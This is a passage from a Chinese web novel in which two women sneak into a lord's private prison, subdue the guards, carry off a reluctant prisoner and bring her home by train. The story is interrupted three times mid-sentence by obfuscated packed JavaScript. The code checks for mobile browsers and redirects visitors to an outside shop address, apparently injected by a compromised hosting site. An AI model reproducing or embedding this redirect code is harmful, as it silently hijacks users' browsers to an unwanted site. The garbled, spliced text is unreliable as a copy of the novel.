黑暗里传来压低了的笑声,“好吧,那我们就一起进去。” 在她的坚持下,沈莫失依旧是跟在猎刀身后,两人身手矫健地翻进了建筑里。 这应该是一间杂物室,沈莫失合上窗户,嫌弃地看了眼窗台上堆砌的灰尘,庆幸自己带了口罩。 这间杂物室应该是很少使用,所以才堆了那么多的灰尘,也因此被猎刀选为了突破口。 猎刀悄悄打开杂物室的门,外面的走廊里灯光明亮,但是空无一人,瞄了眼上方的监控探头,猎刀向沈莫失示意跟着自己走。 她们在监控的盲区行走着,没有发出一点声响。 猎刀简直像是能预言一般,步伐丝毫不乱,却总能在守卫来临之前把两人塞进最近的隐蔽之处。 躲开守卫和监控这种事情沈莫失自己也是能做到,不过肯定不会有猎刀这样游刃有余。 沈莫失跟着猎刀的动作行动,一点不紧张,反而有些兴奋。 “游戏里好像也是这么玩的。”她看着完全不像是来劫狱的,反而像是郊游来的。 猎刀无奈地看了她一眼,觉得很多时候,她真的是跟红雪没多大差别。 地上都是守卫们的办公区,没有安设监牢,两人快速摸到监控室打晕了守夜的工作人员,顺手关闭了监控与预警线路,才往地下走去。 虽然领主府内的监狱外表看着不大,可地下的面积其实远远超出地上看到的部分。 地下一层算是个过渡层,一般由守卫们驻守在这里,这是去下层的必经之路。 很遗憾,两位守卫并不是吃干饭的,一人坐在桌后,一人站在门前,连个哈欠都不打。 沈莫失与猎刀躲在下楼的转角处,两人默契地对视一眼,沈莫失伸手指了指门前那位,猎刀点点头,爪子指向桌后的守卫。 不需要暗号,两人迅速从隐蔽处攻向守卫们,打了她们一个措手不及。 沈莫失猛地扑向那位倒霉守卫,捂着她的嘴巴,给了她一个迅捷的手刀。 轻轻地把晕过去的守卫放倒在地,沈莫失回头去看猎刀,那边也早就结束了,守卫安详地倒在了桌上。 猎刀手法娴熟地把两人绑了起来,堵上了嘴,保证两人无法自己逃脱,也无法呼救影响到她们接下来的行动。 沈莫失见猎刀忙完了,才得意地凑到猎刀耳边轻声说:“两个人还是有用的吧,幸好带上我了对吧?” 猎刀摇摇头并不与她争辩,“是的是的,幸好我带上你了。” 从抽屉里摸出门禁卡,猎刀打开通往地下二层的大门。 31.完美的潜入 地下二层。 这一层与之前两层都有所不同,从这一层才开始关押囚犯。 沈莫失搓了搓双臂,可能是因为到了地下吧,总觉得这地方要更加阴冷些,明明陈设都与之前没什么差别的样子。 她们之前的一路都很顺利,不过一到地下二层就出现了意外,有一队守卫正好要从下面上来。 躲在走道里的猎刀皱了皱眉,如果让她们上去了,看到地下一层的情况,肯定就会发现不对劲的。 沈莫失倒是不太苦恼这一件事,她戳了戳猎刀吸引她的注意力,接着小声在她耳边嘀咕。 “只要把看见我们的人都干掉,那就是完美的潜入。” 说着,她歪着嘴在脖子上横了横。 猎刀倒吸一口凉气,瞳孔地震,难掩惊诧的眼神盯着沈莫失,“谁教你的?” 沈莫失摊了摊手,表示自己早就忘掉了。 盯着面前越来越近的一队人,猎刀抖着胡须纠结了片刻,最后还是与沈莫失一击掌。 “干了!” 两人的真实武力值都远远高于这些守卫,她们还没来得及发出多少声响,就被两人放倒在地。 开始得迅速,结束得也迅速,猎刀看着倒了一地的人松了口气,看来是没有引起太多的骚动。 这次人多,沈莫失也帮着猎刀把人捆了起来,然后一股脑地堆砌在了下楼的转角处。 从她们身上又顺走一堆新的门禁卡,现在终于可以悠闲地找人了。 “人是不是有点少?”沈莫失打量着周围空荡荡的牢房,疑惑地询问猎刀。 猎刀一边搜寻着鳞的牢房,一边回应沈莫失道:“很正常吧,这只不过是领主的私人监狱罢了,真正犯了罪的那些人可不会被关在这里。” “私人监狱?”沈莫失挑起眉毛,她张开手比划了下,“这么大?” 猎刀无奈地耸耸肩,“这就要去问问前任领主了,我记得她那时候这监狱就已经在了。” 沈莫失神情复杂地点了点头,“嗯……也是位神人,幸好现在克拉法不像她。” 猎刀笑着轻哼一声,“以克拉法的性格,她的仇很少过夜,人少还有种可能就是她一般当场就把仇人……” 她现学现卖,横起手在脖子上比划了下。 这也是她在了解到鳞被关起来了后,并不是太紧张对方的人生安全的原因之一。 真有危险,都来不及等到她来救的。 沈莫失瘪瘪嘴不再问了。 在囚犯人少的情况下,她们很顺利地就找到了鳞的位置。 透过单向可见的窗口,沈莫失看向里面萎靡坐着的蛇人。 与照片上的精英模样略有不同,此时的蛇人看着苍白消瘦了不少。 金色的长发与脸侧的鳞片都显得没了光彩,眼下带有明显的青乌,薄唇无意识紧抿着,双眼放空,看着不知名的位置。 猎刀怔怔地看着那道灰白的身影,手里捏着门禁卡,却久久没有动作。 沈莫失往下瞥一眼她那用力捏着卡的手指,用头点了点面前的牢房,“要不我来?” 猎刀猛地回过神来,下意识看了沈莫失一眼,想要把卡片递给她,沈莫失也伸手就要接过来。 可猎刀伸手后又突然顿住了,重新把门禁卡捏回了掌心,勉强对着沈莫失笑了笑,“还是我自己来吧。” 说着,她深吸一口气,再不犹豫地将面前的牢房门打开了。 门锁发出轻微的响声,接着缓缓移开。 门内的鳞没有丝毫反应,依旧耷拉着脊背,目光无神地注视着不知名的空间。 直到猎刀以沙哑的嗓音出声呼唤她,“鳞。” 鳞像是听到了什么不可思议的声音一般,整个人“腾”的一下直了起来,瞪大了眼睛看向门口的两人。 “……猎刀?” 猎刀扯了扯嘴角,对着鳞点头,“嗯,是我。” 鳞几步走上来,凑近了猎刀仔细打量,“你真的一点没变啊,你怎么会来这里的?她把你也抓了起来?” 说着,她犹疑的目光扫向猎刀身后,最后锁定在了沈莫失的身上,露出明显的戒备之色。 沈莫失友好地抬起一只手想要打个招呼,鳞却抢先一步问道。 “她和我的行动没有任何关系,你们怎么能把她抓回来?” 她质问的声音里带有明显的愤怒与悲伤。 沈莫失莫名其妙被问了一脸,奇怪地去看猎刀。 猎刀拍了拍鳞抓着她胳膊的双手,为她解释道:“她不是克拉法的人,是陪我来救你的,还记得我跟你说过的那位治好了我的紊乱症的人吗?” 沈莫失跟在她后头纠正,“严格来说,并不能算是治好了,只是缓解了症状而已。” 鳞皱着眉,像是没反应过来一般,疑惑的目光在两人之间犹疑,接着才问道:“那你们是一起被抓进来了?” 沈莫失几乎要被她逗笑了,连猎刀都暂时放下了惆怅的思绪,笑着反问她。 “我不是说了她是陪我来救你的吗?当然是为了来救你我才会出现在这里啊。” 闻言,鳞却没有丝毫放心的迹象,反而双手捧住了脸,不可思议地喊道:“你们为了救我,所以被克拉法抓到了?!” 猎刀也有些无语了,双手用力地拍在了她的手上,和她的手一起捧住了鳞的脸用力摇晃,一字一句地向她解释情况。 “我是溜进来救你的!我们没有被抓到!” 沈莫失捂着嘴无声地笑着,鳞这人,虽然乍一看很精明的模样,怎么反而是这么个傻乎乎的样子。 经过这么一通直白的解释,鳞终于理解了现在的情况。 却是撇开猎刀的手,扶了扶自己的金丝边眼镜,又坐回了牢房的座椅上,低头不再去看猎刀。 “你们还是回去吧,我就不跟你们走了。” 猎刀狠狠皱眉,与沈莫失对视一眼,问道:“为什么?” 鳞叹了口气,脊背越发弯了,语气低落地说道:“如果我跟着你们跑了,克拉法肯定会更生气的,到时候我们谁都不会好受。” “别被她抓到不就好了?她能对我们做什么?”沈莫失无所谓地插话道。 鳞一言难尽地抬头看了眼沈莫失,又去看猎刀。 “你是知道的,我这么弱,只会给你们拖后腿罢了,你们两个或许能溜进来,可要还要带着我跑出领地去,危险性也太大了。” 这次轮到猎刀按住鳞的双臂了,她看着鳞暗红色的眼睛坚定地说。 “你以为我们没考虑过这些吗?只要你肯和我们出去,其他事情自然不用你来操心。” “在克拉法的领地上和她作对?”鳞把目光藏在了镜片后,别过头来反问她们。 “我不值得你们冒这么大的风险……我在这里待着也挺好的,趁守卫还没发现,你们快走吧。” 她再次撇开了猎刀的手。 猎刀双手握拳,恨铁不成钢地看着这个家伙。 沈莫失在一旁露出头来,“有没有可能,我只是说一种可能,逃出去的风险其实没有你想象的那么大呢?有很多人都在帮我们。” 鳞双手紧握,依旧是一副拒绝的姿态,沈莫失怀疑她根本就没在听她说话。 “我说了我在这待得挺好的,反正克拉法也不会杀了我,等她消气了,我还是回去过我以前的生活。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010247|147628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “一切都不会改变的,你们没这个必要为我冒险。” 沈莫失皱起眉,“冒不冒险的我们都已经走到这一步了……” 还没等她说完,一旁的猎刀就先忍不住了,果断上前,一个响亮的巴掌拍在了鳞的脸上。 别说是鳞了,沈莫失都被吓了一跳,她倒吸一口气,连忙上去拦住猎刀。 这位蛇人可不像她长得有欺骗性,鳞是真的柔弱,万一把人打出个好歹来她不信猎刀不后悔。 被打了一巴掌的鳞整个人都呆住了,歪着脸僵了好一阵子,才捂着火辣辣的脸颊去看猎刀。 猎刀虽然是气急打出来的一巴掌,但好歹还记得控制好了力度,她甩了甩手,拍拍沈莫失示意她放开自己。 接着就指着愣住的鳞,来了一顿劈头盖脸的“教训”。 “你啊你,说你什么好,骗骗姐妹可以,别把你自己也给骗了。” “什么叫做克拉法消气了就会把你给放了?你以为你在她那里有多重要?因为在意你才把你关起来?拍电影呢?霸道领主爱上我?” “你在她身边这么多年来,反而没有我了解她这个人。” “她要是真的在意你,知道你想跑,你以为你还活得到现在?” “做什么梦呢?我看她一点没有生气,日子过得高兴得很,都不一定还记得你这个窝囊废。” 鳞震惊地看着面前那只毛绒绒的手指,嗫喏良久,都说不出一点话来。 一旁的沈莫失也目瞪口呆地看着猎刀。 猎刀一顿输出,终于感觉心绪平和些了,她深呼吸一口,放下了指着鳞的手指。 沈莫失与坐着的鳞对视一眼,谁都没有在这时候不长眼地说话。 猎刀见鳞这幅模样,轻轻叹了口气,换上缓和的语调接着说。 “十年前我就知道你不喜欢这个地方,如果有机会,你更愿意和我一起逃走,而不是在这个地方又熬了十年。” “之前我自身难保,甚至要来拜托你帮忙,可是现在,我能保证你在新的环境里好好生活下去了。” “那么我再问你一次,你要跟我走吗?” 猎刀向鳞伸出手,掌心朝上,静静地等待她的答复。 鳞注视着面前柔软的猫爪,眼神复杂,表情无比纠结,却还是无法下定决心。 猎刀眼神一眨不眨地观察着鳞的反应,心里暗想着。 鳞的性格,就像她之前说过的一般,虽然长相精明,可她确实是个实心的窝囊家伙。 一件事情,只要存在那么一点风险,她就会瞻前顾后,可哪有完全无风险的事情存在呢?等到一切都准备妥当的时候,最佳时机早就已经过去了。 猎刀耐心地等了好一阵子,见鳞还是那副纠结的死样子,想伸出手,又不敢真的放上来,她也就知道在这十年间,鳞根本就没长进了。 另一只手偷偷给沈莫失打了个暗号,猎刀把举了半天的手放了下来。 鳞露出失望却又如释重负的表情,张嘴想要说些什么。 猎刀却是没给她机会,抢先说道:“你如果真的不想走,当初就不会被我说动想要来找我。” “既然你当初答应了我,那现在也就由不得你。” “什么?”鳞瞪大了眼睛,毫无准备地被她拦腰扛起。 沈莫失眼疾手快地拿出刚才没用完的道具封住了鳞的嘴,向她露出一个友好又险恶的微笑。 “抱歉咯。” 既然已经抓到人了,猎刀和沈莫失再不犹豫,强行把鳞带出了牢房。 对于突然翻脸的猎刀,沈莫失一点不惊讶,毕竟在来赴宴之前,猎刀就已经与她分析过可能会发生的情况了。 32.不可能犯错之人 赴宴前,旅馆中。 “以鳞的性格,我们这次去救她,她很可能不会那么配合我们的。” 听了猎刀的话,沈莫失很是不解,“可我记得你之前说她一定会愿意来驯鹿领?而且她也确实是因为这个想法才被关起来的?” 猎刀笑了笑,“如果她还是从前那种性格,那么之前那次她就一定会来,而这次她也一定不会自愿跟我走的。” “之前的她已经安逸了十多年了,这段和平的时光足够她积累起反叛的心思。” “可现在,她刚被打压过一次,要再次升起反抗的想法可是很难的……至少对她而言很艰难。” 对于沈莫失这样想做什么就去做的人而言,鳞的所作所为可能会让她不解,猎刀细细地向沈莫失解释鳞的性格。 与此同时,她也逐渐拾起了那些遥远的记忆 “对于未知且可能充满了危险的未来,鳞的选择永远是盘在原地不动弹,说服自己其实她也不是很想动弹,在原地待着也挺不错。” 似乎是想到了什么,猎刀的神色有些怅然。 “比起我们,”见到沈莫失认真倾听的神情,猎刀又补充了一句,“当然不是在说你,我指的是我和克拉法这一类人。” “比起我们,作为医生被前任领主培养着的鳞,没有任何反抗的力量……她也确实不需要反抗,毕竟在大多数情况下,她什么都不做就可以获得稳定的生活。” “于她而言,不做错事才是最重要的。” “而想要一直不做错事,”猎刀咬了咬唇,“只有一种人是不可能做错事的,那就是什么都不做的人。” “她是在这样的环境下成长起来的,当然很难去反抗那些让她不适的东西,所以我并不会因她的拒绝而失望。” 猎刀肯定地下了定论,“这么些时间以来,估计她也快要把自己说服了。” 时间接近黄昏,在昏暗的光线下,猎刀的神色显得格外晦暗。 “如果她真的像我推测的一样,那我们就别管她说了什么,直接把她带走!” …… 从回忆里抽身出来。 沈莫失看着被猎刀扛在肩上的鳞,觉得封住她的嘴巴这一步好像可有可无。 自打出了牢房,鳞就安安分分地缩在了猎刀的身上,甚至主动盘紧了猎刀的身体,防止自己给猎刀的行动添麻烦。 安安静静地不发出一丝声响,就像是个无生命的挂件一般。 要知道,虽然她封住了鳞的嘴,可她如果真的想要挣扎,吱唔乱叫一顿还是可以的。 而且不同于那些守卫们的待遇,她的手脚都是自由的,甚至没有被她们打晕过去,如果她实在不愿意,挣扎起来虽不至于让她俩难办,却也能折腾她们一番。 偏偏她完全没有想要反抗的意思,这与之前不愿意逃狱的样子可完全不同。 沈莫失看着面前稳稳当当扛着比她高了不少的鳞的猎刀想着,这难道也在她意料之中吗? 她又回想起之前猎刀对鳞的评语,不得不承认,这人虽然看着精明,但确实是一条胆子超小的窝囊蛇。 沈莫失一边警惕周围,一边好奇地关注着鳞的一举一动。 由于身不由己的处境,鳞自然不能再保持自己的眼镜待在合适的位置上。 见她的鼻梁和脸侧都被磕出了几道红印,沈莫失很是体贴地把她的眼镜拿了下来。 “这个我先替你保管吧,不用谢我。”她笑眯眯地挥了挥眼镜。 现在的鳞自然是无法有什么意见的了,她无奈地抬眸看了眼沈莫失,什么都不表示。 除了在看到那堆被堆砌在转角处的守卫们时,她像是被吓到了一般“呜”了一声,不可思议地瞪大了眼睛,更加抓紧了猎刀外,其他时候都是个很标准的挂件。 逃离的过程比潜入要顺利多了。 比起潜入的时候还需要切监控,“暗杀”守卫,寻找鳞的位置什么的,这时候两人熟门熟路,目标明确,只要在不被人发现的情况下逃出领主府就行了。 陆岭安排给她们的帮手早就在外等着了,一见到沈莫失几人的身影就把人安排上了去驯鹿领的列车。 几人配合默契,效率极高,几乎不需要言语沟通。 直到上了去驯鹿领的列车,猎刀才把鳞从肩上放了下来。 最初是为了防止鳞不配合才选择扛着她跑路,后来则是考虑到她的体能太废了,绝对跟不上她和沈莫失的速度,干脆就不让她自己走了,需要走的地方都由她来代步。 现在已经到了无法回头的时候了,她也不再怕鳞再反悔。 猎刀松松筋骨,活动几下肩膀,看着坐在一旁不发一语的鳞想着。 毕竟只要有人推她一把,强行让鳞按照她的节奏来,她就会习惯性地随波逐流起来。 别管她理没理清楚自己的想法,有没有做好改变的准备,但总之先把她带上路再说,情况也不会比现在更差了。 鳞正沉浸在自己的思绪里,不知道事情到底是怎么发展到这一步的。 明明不久前自己还待在牢房里熬日子,现在天还没亮,她居然就已经在不知去往何方的列车上了。 这么简单就上了去其他领地的列车了?领主府许可呢?关口检查呢?没有人追上来吗? 猎刀在鳞的一旁坐下,“怎么什么都不说?在生气吗?” 鳞暂时放下了自己内心的想法,闻言不可思议地看向猎刀,很有“被绑架者”意识地指了指自己嘴上的封条。 “唔唔唔。”你看我现在像是能说话的样子吗? 猎刀撇了撇嘴,“我又没把你的手绑住,你就不能自己解开?” 鳞幽怨地看着猎刀。 不用她说出来,猎刀也知道她肯定在心里默默腹诽她了。 “我帮你拿下来,不过你可不许说我坏话。” 说着,猎刀小心翼翼地帮忙把她脸上的封条撕了下来。 感受着脸上密密麻麻的痛感,鳞不禁轻哼一声表达自己的埋怨。 两人虽然十年未见,却丝毫不见生疏的模样。 沈莫失好奇地在一旁看着,突然想起了什么,从兜里掏出她暂时保管的眼镜擦了擦,归还给了鳞。 鳞摸着火辣辣的脸颊和唇周,接过了沈莫失递过来的眼镜,小心翼翼地看了眼这位半生不熟的陌生人,“谢谢你。” 沈莫失摆摆手,自来熟地在她的另一边坐下了,摆明了想要凑热闹的想法。 见她坐过来,鳞很明显地下意识向猎刀的方向躲了躲,半个人差点歪到猎刀身上,不过不知是出于什么原因,最后又小心翼翼地直了回来。 沈莫失见她不自在,干脆自己坐远了些,友好地朝她微笑。 鳞犹豫着看了眼两人之间的空隙,低声向沈莫失解释道:“抱歉,不是嫌弃你的意思,只是我不太适应和人靠得太近。” 沈莫失下意识看向她和猎刀之间的距离。 鳞顺着她的视线看去,也意识到了自己和猎刀之间的距离与“不近”完全搭不上边,脑袋左摇右摆,左看右看,最后憋红了脸,吞吞吐吐地补充道。 “我的意思是……和不太熟悉的人,真的不是嫌弃你的意思,只是我们现在确实不太熟……” 语无伦次地说完这段话,鳞几乎不敢去看沈莫失的方向,突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020328|147628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然沮丧地低下了头。 沈莫失大概了解鳞的性格了。 之前在监狱里没这个闲工夫计较,但是现在到了一个相对安稳的环境时,鳞就不太适应与一位不熟悉的人——指沈莫失自己——靠得这么近了。 “没事,我不介意,更何况有戒心是件好事,你才认识我多久呢?” 沈莫失笑嘻嘻地为她打圆场,初见就“绑架”人家已经够突兀的了,她并不希望给她留下一个坏印象。 毕竟不出意外的话,她还得跟着自己在诊所待一阵子呢,多少要注意师生关系和谐。 有“猎刀的熟人”和“预备役学生”这两层滤镜在,沈莫失对待鳞格外宽容些。 一旁的猎刀轻笑出声,揽过了鳞安抚她,“放心吧,相处久了你就知道了,她的性格很好、额,她不是什么坏人的。” 猎刀本想说沈莫失的性格很好很容易相处,可想到自己与她刚接触时,她那一连串的怪话,又把话憋了回去,选择给沈莫失发了张好人卡。 沈莫失的性格确实是很不错的,不过这一点需要与她相处久了才能发现,最开始确实有可能会被她的行为吓到。 看了眼坚持要坐在这里吃瓜的沈莫失,猎刀暗自叹了口气。 鳞拘谨地点了点头,她相信沈莫失是个好人的,或者说她对沈莫失的好感度从一开始就不低。 作为一名医生,还是生活在鬃狮蜥领的医生,在知道沈莫失研发出了治疗紊乱症的方法并且还愿意将其免费推广的时候,她就很是佩服她了。 虽然她的性格与自己之前所想象的有所不同…… 鳞又偷偷地想去看沈莫失,发现她也正在看着自己后,又匆忙收回了视线。 猎刀没在意鳞的小心思,注意到窗外逐渐亮起的光线后,她不由得向鳞感慨道。 “那时候只有我一个人在列车上,那是我第一次看到金钱豹领以外的黎明。” 鳞这时候才注意到窗外的光线变化。 她缓缓起步走到了窗边,看着熟悉又陌生的黎明景象,甚至把眼镜摘了下来,仔细擦了擦,又带上去,几乎趴在了窗口上看向外面偏蓝的天空。 她回过头来看向猎刀,激动地瞪大了眼睛。 “这也是我第一次看到!” 猎刀看着她,露出欣慰又高兴的笑来,“我现在终于把你也捎上了。” 鳞在“被迫”逃狱后,第一次露出了真心实意的笑容来,可很快,又怀疑地问自己。 “我真的离开了吗?这会不会是一场梦?只等我醒过来,我就又回到了熟悉的地方。” 她急促地喘着气,惶恐的望着窗外,又看向自己和猎刀。 沈莫失坐的位置距离窗口最近,她不需要站起身也能看到窗外的景象,而鳞在激动的情绪下,完全忘记了要和她保持距离这件事。 她眨眨眼看着就在她眼皮子底下的鳞的手臂,想到了一个最简单的验证做没做梦的办法。 沈莫失恶趣味上头,笑得无比灿烂,不怀好意地询问激动到怀疑人生的鳞,“我有个好办法,一下就能帮你验证这是否是梦,要试试吗?” 她现在可完全忘记了之前说过的要给鳞留个好印象这件事。 鳞没有发现沈莫失友好表情下的恶趣味,询问道:“是什么办法?那就试试!” 猎刀却是已经和沈莫失相处了有好一阵子了,她敏锐地意识到了不对劲,“等等。” 沈莫失仗着自己距离鳞最近,没给猎刀阻止她的机会,见鳞同意了,干脆利落地捏住她手臂上软绵绵的一块肉用力旋转。 猎刀同步露出了痛苦的表情。 “嗷——” 33.回家 被猎刀教训了一顿的沈莫失终于乖乖离开了,把空间留给猎刀和鳞去慢慢叙旧。 猎刀还需要安抚被沈莫失捏哭了的鳞,并试图向她解释沈莫失她真的是个不错的人。 沈莫失顶着猎刀谴责的视线还能一脸无辜地笑起来,这个罪魁祸首没有一丝一毫愧疚的想法。 她待在安静的车厢内,歪头看着窗外飞速后退的景色,默默思索着。 随着手上碎片的逐渐增多,她总有种预感,觉得有一块钥匙碎片就在鬃狮蜥的领地内,这也算是她愿意跟着猎刀来凑热闹的原因之一。 倒不是单纯为了吃喝玩乐…… 好吧,她承认,吃喝玩乐也占了很大的一部分原因。 可现在这段旅程都结束了,她在这待了这么久,居然还没碰上那块散落的碎片,难道是哪里出意外了吗? 沈莫失失神地望向窗外,最终烦躁地挠了挠头皮,“算了,有缘自会来相见。” 大不了之后再来逛逛呗,反正自己这次用的也是个假身份。 沈莫失彻底将这一件事抛之脑后。 …… 有了陆岭的全程安排,她们很顺利地就回到了驯鹿领内。 一回到家,就被提前收到了消息的红雪撞了个满怀。 红雪哼哼唧唧地跑到猎刀的怀里猛蹭,又飞快地蹭到了沈莫失的怀里。 “呜呜呜你们怎么这么久才回来啊!” 红雪嘴上说着抱怨的话,身后雪白的尾巴摇得飞快,像个小型的螺旋桨。 沈莫失觉得她像个直升机,又觉得她像是一条真正的小狗狗一般,向离家许久的家人们撒着娇。 “哈哈哈哈,”凑上门来的狗头她自然是不摸白不摸,“最近有好好吃饭吗?” 红雪哼唧着在她怀里点了点头。 “那怎么一点没长高呢?” “哪有那么快!”红雪悄悄踩了沈莫失一脚。 沈莫失怀念地俯视着比她矮了不少的红雪的发顶,没忍住又摸了摸。 她终于回到了不是人均两米以上的世界里了! 在她身后,看着活泼的红雪从这里蹭到那里的欢快样子,鳞也不禁露出了微笑。 对于小孩子,她的怕生反应并不强烈,更何况她对这个孩子不算太陌生。 “她就是那个孩子?”她凑到猎刀的身边询问她,不过她心里也已经有了答案了。 猎刀笑着看着沈莫失与红雪两人的互动,肯定了鳞的猜测。 “没错,已经长这么高了,我养得很好吧?” 鳞抿嘴笑着,“那现在你可以一直养着她了。” 猎刀捏了捏自己的掌心,“孩子总要长大的,我不可能一直陪着她。” 这话惹得鳞不禁瞥了她一眼,还没等她发问,那边的红雪就注意到了回来的人里不只有妈妈和沈莫失两人。 “你好。”红雪从沈莫失的怀里退出来,迟疑着打招呼,她看向了猎刀的方向。 “妈妈,是有客人吗?” 猎刀顺势为她作介绍,“这是你鳞姨,还记得她吗?我跟你提过的。” “鳞,这是红雪,我的女儿。” 奇怪的是,一向好客的红雪听闻来人的身份后,却是选择往沈莫失的身边躲了躲。 她突然显得比鳞还要怕生的样子,低声地说了句“鳞姨好”,就不再出声。 沈莫失挑眉,疑惑地看了眼猎刀和鳞,无声向她们发出疑问。 你们是哪里惹到这孩子了? 猎刀大概知道红雪的情况了,向沈莫失摇了摇头,作口型表示交给她就好。 她上前揽住了红雪,“没事的,这次是鳞姨要来我们这生活,她会跟着你沈姐姐一起学内力的用法,你还算是她的师姐呢。” “帮我好好照顾她,好吗?”她轻声安抚着红雪,一下一下地抚摸着她。 红雪像是从猎刀的话语里得到了支撑,终于愿意仰头去看鳞。 鳞一开始没反应过来,后续听猎刀的话也猜到红雪奇怪态度的原因了,并不介意小孩子对她的冷落,见她看过来,露出一个温和的微笑。 红雪看了看猎刀,再去看鳞,应下了猎刀的请求,“嗯。” 三个人都知道自己在做些什么,只有沈莫失一头雾水。 她左看看,右看看,完全不知道自己是错过了哪一集的剧情,不由得疑惑出声,“啊?” 猎刀向她眨了眨眼,示意她凑过来。 见红雪去了厨房准备茶水点心,沈莫失一个丝滑的挪动凑到了猎刀身边。 猎刀悄咪咪在沈莫失的耳边说话,“我本来打算把红雪托付给鳞抚养。” 一句话解释清楚了沈莫失心里所有的疑惑。 她无声地“哦”了下,明白了事情的来龙去脉。 她本来还在奇怪,猎刀为什么会突然和鳞恢复了联系,这很不寻常,鉴于她俩已经断联将近十年了。 而红雪刚才的举动也都有了可以解释得通的理由了。 猎刀见她明白了,笑着补充说,“也就是我跟她坦白这件事的当天,她把你给带了回来。” “诶?”这就是沈莫失完全不知道的细节了。 沈莫失看向一旁端端正正坐着的鳞,又看了眼猎刀,不禁笑了出来,“我们的缘分居然可以追溯到这么远的地方吗。” “你在笑些什么呢?”端着点心出来的红雪奇怪地看着突兀大笑的沈莫失。 “没什么。”沈莫失笑嘻嘻地敷衍了过去。 红雪奇怪地“哼”了一声,却也没有太纠结。 该说不说呢,这么长的时间了,她都已经熟悉了沈莫失的性格了。 总之,她做出什么来都不奇怪。 将点心和饮料放在了中心位置,她贴着猎刀和沈莫失坐下,心情格外地好。 …… “你就安稳地在这里住下吧。” 沈莫失和猎刀一起帮着鳞整理东西。 ——主要是猎刀和鳞在整理,沈莫失第一次来学生们的宿舍,正好奇地到处打量。 这些生活用品基本都是现买的,毕竟鳞算是被她们绑来的,除了自己和一套囚服外,什么都没带来。 衣服也在上列车前就换掉了,早不知道被扔去哪销毁了。 现在的鳞完全可以算是一无所有的状态。 可她初来乍到,总是需要一个暂住的地方的。 由于猎刀家里那间书房名义上还是属于沈莫失的,猎刀和红雪也都没有要更改这件事的想法。 即使沈莫失自己表示可以让鳞住在她那间房里,最后鳞还是选择了和其他学员们一起住在诊所的宿舍里。 沈莫失现在的学生们太少了,陆岭又格外大方,大家住的都是单人间,确实没有什么不方便的地方。 名义上,鳞也确实是作为沈莫失的新学生被带回来的,住在这里没什么不妥的地方。 考虑到鳞需要尽快熟悉新环境这件事,让她和大家住得近些或许会更好,沈莫失思考了一番也就同意了。 “这里很好,谢谢你。” 鳞握着扫帚,双眼明亮地打量着这个接下来的新住所,跟自己家里肯定是不能比的,但只要想到这里距离鬃狮蜥领地的距离,她就不禁高兴了起来。 她就要开始全新的生活了! 与兴高采烈的鳞一行人相比,陆岭的心情就不是那么美妙了。 打从沈莫失跟她说要去救人开始,她就知道后续的麻烦不会少。 为了防止被抓住小辫子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027568|147628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,给领地,给沈莫失添麻烦。 她,或者说她的下属,全程都参与了这次的救援兼旅行活动。 她很确信自己的人没有露出一点破绽,该扫尾的事情都好好做完了,有她亲自把关,即使是那位心思缜密的章鱼副手也不会察觉出一丝不对。 而即使被发现不对劲,她也准备好了后手,随时能够把怀疑的视线转移到隔壁那只乌鸦身上。 乌鸦向来喜欢做些干涉其它领地的小动作,实在是个再合适不过的背锅侠。 而沈莫失这边,虽然她的行事作风显得格外张扬,还顺便去赢了个“神选者”的称号回来,闹得驯鹿领内都能听到风声。 可实际上对方格外地谨慎,丝毫没有透露出自己的真实来历。 沈莫失一流的演技加上陆岭在领地内暗中封锁了她真实信息的举动,没有人会把一位初出茅庐的“高武力鸽族半兽人”与研究出了紊乱症治疗方法的“柔弱医生”联系在一起。 猎刀就更不用说了,全程脸都没被别人看到过。 也就是说,那只臭蜥蜴大概率是在毫无理由地发疯! “她实在是太过分了!根本没有把我们放在眼里。” 提着听筒抱怨的陆岭,语气显得格外气愤。 可如果能亲眼见到现在的陆岭,就会发现,与气愤的语气不同的,是她那毫无波澜的眼神。 “是啊。”电话那头,传来一个沉稳又苍老的声音,阴沉沉地说着。 “她真是病得越来越严重了,不知道从哪里臆想出一个被偷走的下属,就来跟我们发作。” 陆岭犹豫着试探说:“这么说,你也不知道她在找的人究竟是谁了?” “在这件事上,我有瞒着你的必要吗?”那苍老的声音显得很是不满。 陆岭叹了口气,“抱歉,只不过她的表现太过了,我不得不有所怀疑,毕竟我只能确认……” “我自己没做过什么得罪了她的事。” 她嘴角上翘,眼神晦暗不明,“你是知道我的,我行事向来光明正大,从来不屑于去做这些事情。” “你的意思是我就会做这些事了?”那人上扬了音调,越发不满。 “嗯……别那么紧张,我不是不信你的意思。”陆岭见他生气起来,忙安抚道。 “哼,不论你信不信,我敢肯定她绝对是随意找了个借口来找我们晦气罢了。” 